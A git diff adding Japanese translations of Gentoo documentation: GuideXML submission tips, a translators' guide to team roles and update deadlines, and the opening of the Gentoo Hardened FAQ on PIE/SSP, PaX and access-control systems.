+<e>かならず</e> ドキュメントのすべてのハイパーリンクを確認してください。翻訳ドキュメントの場合、他の翻訳ドキュメントへのリンクはどれも存在するファイルを指していることを確認してください。</p>
+
+</body>
+</section>
+<section>
+<title>タブのチェック</title>
+<body>
+
+<p>
+GuideXMLではタブは必要がある場合(たとえばドキュメントがユーザーにタブを使うよう指示している場合)を除いて絶対に禁止です。タブに関してドキュメントをチェックするには、<c>grep "CTRL+V&lt;TAB&gt;" file.xml</c>を実行してください。<c>grep</c>の出力結果はすべて修正してください。</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+一旦ドキュメントの作成を終えたら、<uri link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla</uri>を使ってドキュメントチームへドキュメントを提出してください。プラットフォームや<c>emerge info</c>の出力、arch、再現手順などの情報については気にする必要はありません。もし、ドキュメントを翻訳した場合は、
+<uri link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">ドキュメント翻訳</uri> コンポーネントをバグ情報のなかで選んでください。また、翻訳についてなんらか助けになるサマリーを次のような好ましい形で含めてください: "[fr] New translation: /doc/fr/gnupg-user.xml"。<b>[fr]</b> の部分を翻訳言語に合わせた2文字で置き換えてください。</p>
+
+<p>
+デフォルトでは<mail>docs-team@gentoo.org</mail> がバグをアサインしますので、任命者欄を変更する必要はありません。</p>
+
+<p>
+バグには"プレーンテキスト(text/plain)"でファイルやパッチを添付してください。たとえ<path>.xml</path>を提出する場合でも、"XMLソース(application/xml)"をえらば<e>ないでください。</e> パッチの場合は"Patch"オプションをチェックしてくださいtarballでのドキュメント提出はしないでください。それぞれのドキュメントやパッチを個別に添付してください。</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>一般的または危険な間違い</title>
+<section>
+<title>Gentooハンドブックがすべてのアーキテクチャに対応する点を忘れている</title>
+<body>
+
+<p>
+<path>[gentoo]/xml/htdocs/doc/en/handbook</path> 内のファイルで名前の末尾が&quot;-&lt;arch&gt;.xml&quot;でないものは、すべてのハンドブックで読み込まれます。
+つまりこの場合、ファイルに記載されている内容はすべてアーキテクチャに共通でなければいけません。</p>
+
+<p>
+もし、アーキテクチャ固有な点について修正する必要がある場合や、そういった事柄をフ文書内に書き留めておく必要があると感じた場合、これを解決するには、まず<c>gentoo-doc@gentoo.org</c>に問い合わせるとよいでしょう。他のアーキテクチャのユーザーに手間をとらせずに済む方法があるかもしれません。</p>
+
+</body>
+</section>
+<section>
+<title>バージョンや日付を進めない、もしくは間違った方法で進めている</title>
+<body>
+
+<p>
+ポリシーに従って、(ほぼ実質的に)何らか変更があったときにはバージョンや日付を進め<e>なければいけません</e>。バージョンはさほど重要ではありませんが(ただ、忘れた場合にはSwifTにこっぴどく怒られるでしょうね)、日付によりユーザーはドキュメントが最後に変更された時間を知ります。</p>
+
+<p>
+もし<e>内容</e>(指示やコード例など)の変更した場合は、バージョンをあげなくてはいけません。
+<e>内容に関連しない</e>(打ち間違いやGuideXMLの修正など)の変更では、ふつうバージョンは上げる必要はありません。</p>
+
+<p>
+ハンドブックを更新した場合は、変更したファイルの日付とバージョンだけを更新してください。handbook-<e>ARCH</e>.xmlの内容を実質的に変更しない限り、このファイルの更新をしないでください。</p>
+
+<p>
+他によくある間違いは、十進数であるかのようにバージョン番号を更新してしまうことです。これは違います。<c>3.9</c>の次は<c>3.10</c>にしなければいけません。<c>4.0</c>でも
+<c>3.91</c>でもありません。</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ja/gdp/doc/translators-howto.xml b/xml/htdocs/proj/ja/gdp/doc/translators-howto.xml
new file mode 100644
index 00000000..99434589
--- /dev/null
+++ b/xml/htdocs/proj/ja/gdp/doc/translators-howto.xml
@@ -0,0 +1,330 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/gdp/doc/translators-howto.xml,v 1.3 2005/10/25 13:55:05 idani Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="translators-howto.xml">
+<title>Gentooドキュメント翻訳者ガイド</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="翻訳">
+  <mail link="solidsneak@hyper.cx">小林弘樹</mail>
+</author>
+
+<abstract>
+よく聞かれる質問に、翻訳者になる方法と、なった後に何をすればよいのかというものがあります。
+このドキュメントではこれらの全てを説明します。
+</abstract>
+
+<license/>
+
+<version>0.16</version>
+<date>2005-06-01</date>
+
+<!-- Original revision: 1.14 -->
+
+
+<chapter>
+<title>初めに</title>
+<section>
+<title>このドキュメントは何を説明しますか？</title>
+<body>
+
+<p>
+たびたび、人々はGentoo翻訳チームへの加入し、翻訳作業に貢献することに興味を持ちます。
+しかしながら、彼らのうちのほとんどは翻訳者がすること、知っておくべきこと、そしてどのように翻訳作業を進めていくのかを知りません。
+このガイドはほとんどの質問に答えるでしょうし、もし未だ疑問が残っていたら、<mail link="neysx@gentoo.org">Xavier Neys</mail>か<mail link="swift@gentoo.org">Sven Vermeulen</mail>に連絡してください。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>状況</title>
+<section>
+<title>組織</title>
+<body>
+
+<p>
+<uri link="/proj/en/gdp/">Gentoo Documentation Project</uri>は、全ての翻訳作業に関係するサブプロジェクトである<uri link="/proj/en/gdp/international.xml">Internationalisation Project</uri>を抱えています。
+このサブプロジェクトは<mail link="neysx@gentoo.org">Xavier Neys</mail>が率いており、全ての翻訳チームを取り纏めています。
+</p>
+
+<p>
+それぞれの翻訳チームは<e>チーフ翻訳者</e>が率いています。
+この人物は翻訳チームが作成する全ての翻訳について責任があります。
+<uri link="/proj/en/gdp/international.xml">Internationalisation Project</uri>ページであなたの言語の<e>チーフ翻訳者</e>を探すことができます。
+</p>
+
+<p>
+<e>チーフ翻訳者</e>が(休暇、試験、ネットワーク接続の問題などで)不在の場合は、<e>副チーフ翻訳者</e>が彼の仕事を引き継ぎます。
+<e>チーフ翻訳者</e>と<e>副チーフ翻訳者</e>のどちらもがGentoo開発者で、そのように役割を果たすべきです。
+</p>
+
+</body>
+</section>
+<section id="trans_situation">
+<title>チーフ翻訳者と副チーフ翻訳者</title>
+<body>
+
+<p>
+<e>チーフ翻訳者</e>は翻訳を率い、彼の後任が<e>副チーフ翻訳者</e>です。
+両方の開発者は以下の重要ドキュメントに精通していなければなりません。
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml?part=3&amp;chap=1">Gentoo Ebuild Policy</uri>:
+    このドキュメントはebuild作者にとって最も重要ですが、<e>チーフ翻訳者</e>と<e>副チーフ翻訳者</e>はこのドキュメントを理解していなければなりません。
+    Gentoo開発者は、(QAやマスクされたパッケージといった)このドキュメントで議論されているようなGentooの一般的な質問に答えることができると仮定されています。
+  </li>
+  <li>
+    <uri link="/proj/en/gdp/doc/doc-policy.xml">Gentoo Documentation Policy</uri>: 
+    <e>チーフ翻訳者</e>と<e>副チーフ翻訳者</e>を含む全てのGentooドキュメント開発者は、このポリシーを読み、暗記しなければなりません。
+    これにはドキュメント開発に関する全てのガイドラインが列挙されています。
+    このポリシーに従わなければ制裁が加えられるでしょう。
+  </li>
+  <li>
+    <uri link="/doc/en/xml-guide.xml">Gentoo Linux XML Guide</uri>: 
+    全てのGentooドキュメントは、XSLTを使うことによってドキュメントをどんなフォーマットへも簡単に変換できる、覚えやすく、書きやすいフォーマットであるGuideXMLによって記述されています。
+    このドキュメントは、GuideXMLがどう構造化されるかを説明し、<e>その上で</e>Gentoo Documentation Projectで使用されるコーディングスタイルを明らかにします。
+  </li>
+</ul>
+
+<p>
+<e>チーフ翻訳者</e>は、GentooのCVSリポジトリにあるドキュメントツリーへのCVS commit権限を持っています。
+<e>チーフ翻訳者</e>と<e>副チーフ翻訳者</e>は翻訳をウェブサイトに追加し、更新することが許可されています。
+彼はウェブサイトの翻訳とその正確さについて責任があります。
+翻訳の正確な査読を怠ると、(翻訳されたガイドが英語版にない間違った指示を与えることになり)重大なエラーへと繋がります。
+</p>
+
+</body>
+</section>
+<section>
+<title>翻訳チーム</title>
+<body>
+
+<p>
+それぞれの翻訳チームは、彼らが適していると思うように自由に無理のない翻訳作業を計画できます。
+チームが共通のメーリングリストを必要とするなら、彼らの言語での翻訳特有のメーリングリスト(gentoo-doc-${LANG}@gentoo.org)を設定するために<mail link="swift@gentoo.org">Sven Vermeulen</mail>まで連絡してください。
+</p>
+
+<p>
+<e>チーフ翻訳者</e>や<e>副チーフ翻訳者</e>に似ず、翻訳チームのメンバーはCVSアクセス権限は無く、Gentoo開発者でもありません。
+彼らは、上に記載されているようなGentoo開発者の制限を固く守る必要はありません。
+翻訳チームメンバーに必要事項を提供するのは、<e>チーフ翻訳者</e>次第です。
+しかし、翻訳作業の手助けのために<uri link="/proj/en/gdp/doc/doc-tipsntricks.xml">tips and tricks</uri><uri link="/proj/ja/gdp/doc/doc-tipsntricks.xml">(日本語訳)</uri>が利用可能です。
+</p>
+
+<p>
+翻訳者達はもしかすると<mail link="gentoo-doc-cvs@gentoo.org">CVSメーリングリスト</mail>を購読した方がよいでしょう。
+Gentoo開発者が新しい英語版のドキュメントをcommitした時にはいつでも、メッセージがこのメーリングリストで流れます。
+メールにはcommitされたファイルと編集されたファイルとの差分が含まれます。
+購読方法は<uri link="/main/en/lists.xml">mailing lists page</uri>を参照してください。
+</p>
+
+<p>
+翻訳チームは彼らの言語用の<uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>ファイルを使用するか選ぶことができます。
+また、機能的に概要ページが使われている時に、このファイルは、翻訳チームメンバーをウェブサイトに記載するようにします。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>必要条件</title>
+<section id="trans_req">
+<title>翻訳の正確さ</title>
+<body>
+
+<p>
+Gentooウェブサイトで利用できる翻訳はできるだけ正確でなければなりません。
+インストール手順(<uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri><uri link="/doc/ja/handbook/index.xml">(日本語訳)</uri>の<uri link="/doc/en/handbook/handbook-x86.xml?part=1">第1章</uri><uri link="/doc/ja/handbook/handbook-x86.xml?part=1">(日本語訳)</uri>)は最も重要な説明であり、他の全てのドキュメントよりも絶対的な優先度があります。
+これらは、英語ドキュメントが<b>重要な</b>更新を行った場合は<e>3日以上の</e>遅れがあってはいけません。
+これは、<e>作業監督</e>によって、件名に"Important"付きで<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail>でアナウンスされます。
+あまり重要でない更新はアナウンスされません。
+その場合、ドキュメントは<e>2週間で間正確に</e>しなければなければなりません。
+</p>
+
+<p>
+(以下に記述される)操作上のドキュメントは2番目に高い優先度があります。
+これらの翻訳は、英語ドキュメントが<b>重要な</b>更新を行った場合は<e>2週間以上の</e>遅れがあってはいけません。
+これは、<e>作業監督</e>によって、件名に"Important"付きで<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail>でアナウンスされます。
+あまり重要でない更新はアナウンスされません。
+その場合、ドキュメントは<e>3週間で正確に</e>しなければなければなりません。
+</p>
+
+<p>
+これらが操作上のドキュメントです。
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/altinstall.xml">Alternative Installation Guide</uri><uri link="/doc/ja/altinstall.xml">(日本語訳)</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri><uri link="/doc/ja/handbook/index.xml">(日本語訳)</uri>の<uri link="/doc/en/handbook/handbook-x86.xml?part=2">第2章</uri><uri link="/doc/ja/handbook/handbook-x86.xml?part=2">(日本語訳)</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/security/">Gentoo Security Handbook</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/alsa-guide.xml">ALSA Configuration Guide</uri><uri link="/doc/ja/alsa-guide.xml">(日本語訳)</uri>
+  </li>
+</ul>
+
+<p>
+その他のドキュメントは<e>2ヶ月以上</e>遅れてはいけません。
+</p>
+
+<p>
+これらの要求が満たされない場合は、翻訳は更新されるまでウェブサイトから<e>リンクを解除</e>されなければなりません。
+1つの言語がドキュメントの更新を怠った場合(ほとんどのドキュメントがメインページからリンク解除されたことを意味します)、<e>作業監督</e>は言語を預かります。
+</p>
+
+</body>
+</section>
+<section>
+<title>翻訳する必要のないドキュメント</title>
+<body>
+
+<p>
+以下のドキュメントは翻訳する必要はありません。
+これらは英語を理解しなければならないGentoo開発者を対象にしています。
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml">Gentoo Development Handbook</uri>
+  </li>
+  <li>
+    <uri link="/proj/en/gdp/doc/doc-policy.xml">Gentoo Linux Documentation Policy</uri>
+  </li>
+  <li>
+    <path>[gentoo]/xml/htdocs/proj/</path>にある全てのプロジェクト特有のドキュメント
+  </li>
+</ul>
+
+<p>
+ですが、翻訳チームに十分な人員がおり、コミュニティの間でプロジェクトページの翻訳が要求されているのであれば、これらドキュメントの翻訳<e>と維持</e>を行っても構いません。
+ドキュメントが最新かどうか、そして翻訳に着手する前に大幅な変更がなかったかどうかをプロジェクトリーダーかメンバーに確認してください。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>貢献</title>
+<section>
+<title>チーフ翻訳者へ連絡</title>
+<body>
+
+<p>
+貢献者は、<uri link="/proj/en/gdp/international.xml">Internationalisation Project Page</uri>にある<e>チーフ翻訳者</e>に、手伝いをする方法を聞くべきです。
+そして、<e>チーフ翻訳者</e>は、彼の言語のための翻訳がどのように管理されているかを貢献者に知らせるでしょう。
+</p>
+
+<p>
+貢献者が<e>チーフ翻訳者</e>はあまり働いていないと確信するなら、この件を<mail link="neysx@gentoo.org">Xavier
+Neys</mail>か<mail link="swift@gentoo.org">Sven Vermeulen</mail>までいつでも連絡することができます。
+</p>
+
+</body>
+</section>
+
+<!--
+<section>
+<title>Assigning Copyright to Gentoo</title>
+<body>
+
+<p>
+All documentation, including translations, must be released under the <uri
+link="http://creativecommons.org/licenses/by-sa/2.0">Creative Commons -
+Attribution / Share Alike</uri> license. Second, to be able to protect the
+documentation from infringement, Gentoo requires all contributors and developers
+to assign their copyright to Gentoo. This Copyright Assignation clearly states
+that the copyright is Gentoo's, but that Gentoo can not change the license on
+the documentation (otherwise the Copyright Assignment is no longer valid).
+</p>
+
+</body>
+</section>
+-->
+</chapter>
+
+<chapter>
+<title>チーフ翻訳者/副チーフ翻訳者への要求</title>
+<section>
+<title>前段階の要求</title>
+<body>
+
+<p>
+<uri link="#trans_situation">チーフ翻訳者と副チーフ翻訳者</uri>に定義された全ての必要条件は満たされなければなりません。
+それに加え、(もし適切な翻訳チームの協力を得られる)候補者はかなりの量の翻訳されたドキュメントを<uri link="http://bugs.gentoo.org">Gentooのバグトラッキング システム</uri>に投稿しなければなりません。
+これは以下のことを確実にします。
+</p>
+
+<ul>
+  <li>
+    言語はコミュニティに用意される一定量のドキュメントを持ちます。
+  </li>
+  <li>
+    翻訳チームは何の翻訳作業が必要か知ります。
+  </li>
+  <li>
+    翻訳チームはGuideXMLの扱い方とコーディングスタイルを知ります。
+  </li>
+</ul>
+
+<p>
+ある言語が<uri link="/">Gentoo公式サイト</uri>の一部として見なされるために必要なドキュメントは以下の通りです。
+</p>
+
+<ul>
+  <li>
+    Gentoo Handbookの<uri link="/doc/en/handbook/">第1章</uri><uri link="/doc/ja/handbook/">(日本語訳)</uri>(全てのアーキテクチャ)
+  </li>
+  <li>
+    <uri link="#trans_req">翻訳の正確さ</uri>に列挙されている操作上のドキュメントの内少なくとも1つ
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>開発者の権限を頼む</title>
+<body>
+
+<p>
+前段階の要求が満たされたなら、<e>チーフ翻訳者</e>の候補者と<e>副チーフ翻訳者</e>の候補者は、以下の情報を<mail link="swift@gentoo.org">Sven Vermeulen</mail>と、Ccで<mail link="neysx@gentoo.org">Xavier Neys</mail>に送信しなければなりません。
+</p>
+
+<ul>
+  <li>フルネーム</li>
+  <li>irc.freenode.netに登録されているニックネーム</li>
+  <li>E-mailアドレス</li>
+  <li>GPG情報(Key-ID)</li>
+  <li>言語</li>
+  <li>
+    要求する身分(<e>チーフ翻訳者</e>か<e>副チーフ翻訳者</e>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>開発者権限の経過</title>
+<body>
+
+<p>
+前段階の要求が満たされ、全ての必要な情報が伝わったのなら、候補者は<mail link="avenj@gentoo.org">Jon Portnoy</mail>か<mail link="seemant@gentoo.org">Seemant Kulleen</mail>に<uri link="/proj/en/infrastructure/cvs-sshkeys.xml#doc_chap1_sect1">SSH Key</uri>のために連絡を取るでしょう。
+プライベートキーは<b>個人で</b>保管しておいてください。
+</p>
+
+<p>
+アカウントがセットアップされたら、ドキュメントのcommitや翻訳の管理を援助するために<e>指導者</e>(たいてい年上の<e>チーフ翻訳者</e>です)が割り当てられるでしょう。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/hardened/hardenedfaq.xml b/xml/htdocs/proj/ja/hardened/hardenedfaq.xml
new file mode 100644
index 00000000..79d0cc8b
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/hardenedfaq.xml
@@ -0,0 +1,544 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/hardened/hardenedfaq.xml">
+<title>Gentoo Hardened よくある質問とその回答</title>
+<author title="Author">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Contributor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Contributor">
+  <mail link="pageexec@freemail.hu">The PaX Team</mail>
+</author>
+<author title="翻訳">
+  <mail link="solidsneak@hyper.cx">小林弘樹</mail>
+</author>
+
+<abstract>
+IRCチャンネルの#gentoo-hardenedやgentoo-hardenedメーリングリストで出てきた良く聞かれる質問です。
+</abstract>
+
+<version>1.8</version>
+<date>2005-10-10</date>
+
+<!-- Original revision: 1.18 -->
+
+<chapter>
+<title>質問</title>
+<section>
+<title>一般</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#toolchain">"toolchain"とは何ですか？</uri>
+  </li>
+  <li>
+    <uri link="#whichisbetter">RSBAC、SELinux、Grsecurityのうち、どれを使うべきですか？</uri>
+  </li>
+  <li>
+    <uri link="#aclall">Grsecurity、SELinux、PaXを一度に全て使用することは出来ますか？</uri>
+  </li>
+  <li>
+    <uri link="#libbitmap">"Symbol __guard from module /usr/X11R6/lib/modules/fonts/ libbitmap.a is unresolved!"というエラーを回避する方法はありますか？</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflags">PIE/SSPビルドを有効にするためにLDFLAGS/CFLAGSにフラグを渡す必要はありますか？</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflagsoff">PIE/SSPビルドを無効にするにはどうすればよいですか？</uri>
+  </li>
+  <li>
+    <uri link="#fsexec">カーネルのコンパイルが"error: structure has no member named `curr_ip'"と言うエラーで失敗します。どうすれば修正できますか？</uri>
+  </li>
+  <li>
+    <uri link="#hardenedproject">私はhardenedプロジェクトを知ったばかりです。Hardened Gentooをインストールするにはプロジェクトページにある物を全てインストールしなければならないのですか？</uri>
+  </li>
+  <li>
+    <uri link="#Othreessp">CFLAGS="-O3"とhardened gccを使うとプログラムが動作しません。何故ですか？</uri>
+  </li>
+  <li>
+    <uri link="#cascadebootstrap">bootstrap-cascade.shに何が起きたのですか？</uri>
+  </li>
+  <li>
+    <uri link="#hardenedprofile">hardenedプロファイルを切り替えるにはどうすればよいですか？</uri>
+  </li>
+  <li>
+    <uri link="#hardeneddebug">GDBでデバッグするにはどうすればよいですか？</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PaX</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#paxinformation">PaXのホームページはどこにありますか？</uri>
+  </li>
+  <li>
+    <uri link="#paxgentoodoc">PaXについて書かれたGentooドキュメントはどれですか？</uri>
+  </li>
+  <li>
+    <uri link="#paxnoelf">"error while loading shared libraries: cannot make segment writable for relocation: Permission denied."と言うメッセージが表示され続けます。どういう事ですか？
+    </uri>
+  </li>
+  <li>
+    <uri link="#paxjava">PaXを使い始めて以来javaが動作しません。何故ですか？</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Grsecurity</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#grsecinformation">Grsecurityのホームページはどこにありますか？</uri>
+  </li>
+  <li>
+    <uri link="#grsecgentoodoc">Grsecurityについて書かれたGentooドキュメントはどれですか？</uri>
+  </li>
+  <li>
+    <uri link="#grsec2681">2.6.8、2.6.8.1、2.6.9カーネルでGrsecurityを使うことは出来ますか？</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>RSBAC</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#rsbacinformation">RSBACのホームページはどこにありますか？</uri>
+  </li>
+  <li>
+    <uri link="#rsbacgentoodoc">RSBACについて書かれたGentooドキュメントはどれですか？</uri>
+  </li>
+  <li>
+    <uri link="#rsbacinitrd">初期化ramdisk(initrd)とRSBACが有効になったカーネルを一緒に使うにはどうすればよいですか？</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#selinuxfaq">SELinuxに関係した良くある質問はどこで見ることが出来ますか？</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>一般的な質問</title>
+<section id="toolchain">
+<title>"toolchain"とは何ですか？</title>
+<body>
+
+<p>
+"toolchain"とは、一般的に特定のアーキテクチャ用のビルドと開発に使用されるソフトウェアパッケージの集合体のことです。
+gentoo-hardenedのIRCチャンネルで聞いたであろうtoolchainとは、GNU Compiler Collection (GCC)、binutils、GNU C library (glibc)から成っています。
+</p>
+
+</body>
+</section>
+
+<section id="whichisbetter">
+<title>RSBAC、SELinux、Grsecurityのうち、どれを使うべきですか？</title>
+<body>
+
+<p>
+この質問に対する答えはとても主観的であるため、hardened Gentooプロジェクトはそれぞれの技術を設計し、選択をユーザに任せようとしています。
+この決定には多くの調査が必要であり、hardenedのドキュメントで明確に提供できるように努めています。
+ですが、それぞれが提供するセキュリティモデルに関する質問があるのなら、IRCチャンネルやメーリングリストで関係する開発者に遠慮無く質問してください。
+</p>
+
+</body>
+</section>
+
+<section id="aclall">
+<title>Grsecurity、SELinux、PaXを一度に全て使用することは出来ますか？</title>
+<body>
+
+<p>
+はい。
+PaXはGrsecurityとSELinuxのどちらとでも動作するので、この組み合わせは可能です。
+ただ1つ発生する競合は、1つのアクセス制御システムのみ使用できると言うことです。
+</p>
+
+</body>
+</section>
+
+<section id="hardenedcflags">
+<title>PIE/SSPビルドを有効にするためにLDFLAGS/CFLAGSにフラグを渡す必要はありますか？</title>
+<body>
+
+<p>
+いいえ。
+現在のtoolchainは、GCCのspecfileを通してCFLAGS="-fPIE -fstack-protector-all" LDFLAGS="-Wl,-z,now -Wl,-z,relro"と同等のものを自動的に実行します。これはより適切な解決方法です。
+昔のhardened-gccユーザは、<path>/etc/make.conf</path>に<c>USE="hardened"</c>を追加し、以下のコマンドを実行してアップグレードします。
+</p>
+
+<pre caption="Hardened Toolchainのインストール">
+# <i>emerge binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+<note>
+GentooはGCCにspecfileを環境変数で渡すことができるパッチを適用します。
+現在、様々なspecfileがgentooシステムにインストールされています。
+これによりサポートされているアーキテクチャのユーザーは、簡単にtoolchainの機能の有効、無効を切替えることができます。
+エンドユーザとしてspecにアクセスするには、gcc-configユーティリティを使用することができます。
+</note>
+
+</body>
+</section>
+
+<section id="hardenedcflagsoff">
+<title>PIE/SSPビルドを無効にするにはどうすればよいですか？</title>
+<body>
+
+<p>
+hardened toolchainを使用しているときにデフォルトのSSPビルドを無効にするには、CFLAGSに<c>-fno-stack-protector-all -fno-stack-protector</c>を追加します。
+</p>
+
+<p>
+デフォルトのPIEビルドを無効にしたいのなら、<c>CFLAGS</c>に<c>-nopie</c>を追加します。
+</p>
+
+<impo>
+<c>-fno-pic</c>フラグは明示的にPICでないコードを有効にするので使用するべきではありません。
+代わりに<c>-nopie</c>を使用することで、vanilla GCCの振る舞いを意図された結果に戻すことができます。
+</impo>
+
+<note>
+現在のPortageでパッケージごとにCFLAGSを使用することに興味があるのなら、solarが開発したこれを行うためのコードを読んでみたくなるでしょう。<uri>http://article.gmane.org/gmane.linux.gentoo.hardened/1204</uri>
+</note>
+
+</body>
+</section>
+
+<section id="fsexec">
+<title>カーネルのコンパイルが"error: structure has no member named `curr_ip'"と言うエラーで失敗します。どうすれば修正できますか？</title>
+<body>
+
+<p>
+hardened-dev-sourcesでPaXを使用するためには、カーネルの設定でGrsecurityを有効にしなければなりません。
+これは将来のカーネルで修正されるでしょう。
+</p>
+
+</body>
+</section>
+
+<section id="hardenedproject">
+<title>私はhardenedプロジェクトを知ったばかりです。Hardened Gentooをインストールするにはプロジェクトページにある物を全てインストールしなければならないのですか？</title>
+<body>
+
+<p>
+いいえ、Hardened Gentooプロジェクトは共通のセキュリティに関する目標を持ったサブプロジェクトの集合体です。
+これらのプロジェクトの多くは別のものと同時にインストールすることができますが、Hardened Gentooが提供するACL実装のいくつかのように競合するものもあります。
+</p>
+
+</body>
+</section>
+
+<section id="Othreessp">
+<title>CFLAGS="-O3"とhardened gccを使うとプログラムが動作しません。何故ですか？</title>
+<body>
+
+<p>
+stack-smashing protector (SSP)を用いたいくつかの状況では、gcc最適化フラグの<c>-O3</c>の使用は問題があることが知られています。
+この最適化フラグは公式にはサポートされていないため、hardenedチームによって使用できないようにされています。
+<c>CFLAGS="-O3"</c>の使用に関するコンパイルの問題はINVALID/CANTFIXとしてクローズされるか、無視されます。
+</p>
+
+</body>
+</section>
+
+<section id="cascadebootstrap">
+<title>bootstrap-cascade.shに何が起きたのですか？</title>
+<body>
+
+<p>
+最近、古いbootstrap.shとbootstrap-2.6.shは廃止されました。
+その代わり、bootstrap-cascade.shがbootstrap.shになりました。
+</p>
+
+</body>
+</section>
+
+<section id="hardenedprofile">
+<title>hardenedプロファイルを切り替えるにはどうすればよいですか？</title>
+<body>
+
+<pre caption="make.profileの設定">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+</pre>
+
+<p>
+プロファイルの設定後、一貫したベースを保つために、hardened toolchainを使ってシステムを再コンパイルします。
+</p>
+
+<pre caption="hardened toolchainへの切り替え">
+# <i>emerge binutils gcc glibc</i>
+# <i>emerge -e world</i>
+</pre>
+
+</body>
+</section>
+
+<section id="hardeneddebug">
+<title>GDBでデバッグするにはどうすればよいですか？</title>
+<body>
+<p>
+まず知っておかなければならないことは、GDBはPIEのシンボルを解決できないと言うことです。
+PIEに関する絶対ではないアドレスを理解しません。
+たとえば、バックトレースを得ようとしたときには、シンボルがあるべきところに'??'と言う行が続きます。
+</p>
+<p>
+これを回避するには<c>-nopie</c>を使って最終的なリンクを行います。
+以前からあるのオブジェクトのコンパイルは<c>-fPIE</c>が付いたままにすることが可能なので、アプリケーションの実行は実際のものに限りなく近いですが、最終的なリンクは実行可能な形式を生成する必要があります。
+emergeでビルドするのなら、LDFLAGSに<c>-nopie</c>を追加してみてください。
+</p>
+<p>
+次に知っておかなければならないことは、カーネルの設定によっては、PaXはGDBのブレークポイントの設定を妨害するかもしれないと言うことです。
+これには、開始に必要なmainへのブレークポイントも含まれます。
+PaXがこれを行うことをやめるには、<c>m</c>と<c>x</c>フラグでデバッグする必要があります。
+<c>x</c>フラグはデフォルトで設定されているので、以下のようにするだけで十分です。
+</p>
+<pre caption="デバッグのためにPaXを緩める">
+# <i>/sbin/paxctl -m foo</i>
+</pre>
+<p>
+これで準備は完了です。
+GDBをいつもの通り起動してください。
+幸運を祈ります。
+</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>PaXに関する質問</title>
+<section id="paxinformation">
+<title>PaXのホームページはどこにありますか？</title>
+<body>
+
+<p>
+PaXのホームページは<uri>http://pax.grsecurity.net</uri>にあります。
+</p>
+
+</body>
+</section>
+
+<section id="paxgentoodoc">
+<title>PaXについて書かれたGentooドキュメントはどれですか？</title>
+<body>
+
+<p>
+現在、Paxについて書かれた唯一のGentooドキュメントは、<uri>http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml</uri>にあるPaXクイックスタートガイドです。
+</p>
+
+</body>
+</section>
+
+<section id="paxnoelf">
+<title>"error while loading shared libraries: cannot make segment writable for relocation: Permission denied."と言うメッセージが表示され続けます。どういう事ですか？</title>
+<body>
+
+<p>
+このエラーは以下のようにCONFIG_PAX_NOELFRELOCSを有効にしていると発生します。
+</p>
+
+<pre caption="Menuconfigのオプション">
+Non-executable page ->
+
+ [*]   Disallow ELF text relocations
+</pre>
+
+<p>
+Gentoo hardened toolchainを使用しているのなら、典型的なプログラムのコンパイルはテキストリロケーションを含まないPIC ELFライブラリを作成します。
+ですが、一部のライブラリは依然としてテキストリロケーションを様々な理由で含んでいます（しばしば処理を間違ったアセンブリを含んでいるものもあります）。
+これは、攻撃者がシェルコードを実行するためにPICでないライブラリを使用することができるため、セキュリティの弱点となります。
+PICでないライブラリは、共有ライブラリのためのコード共有を妨げるため、メモリの消費にもつながります。
+</p>
+
+<p>
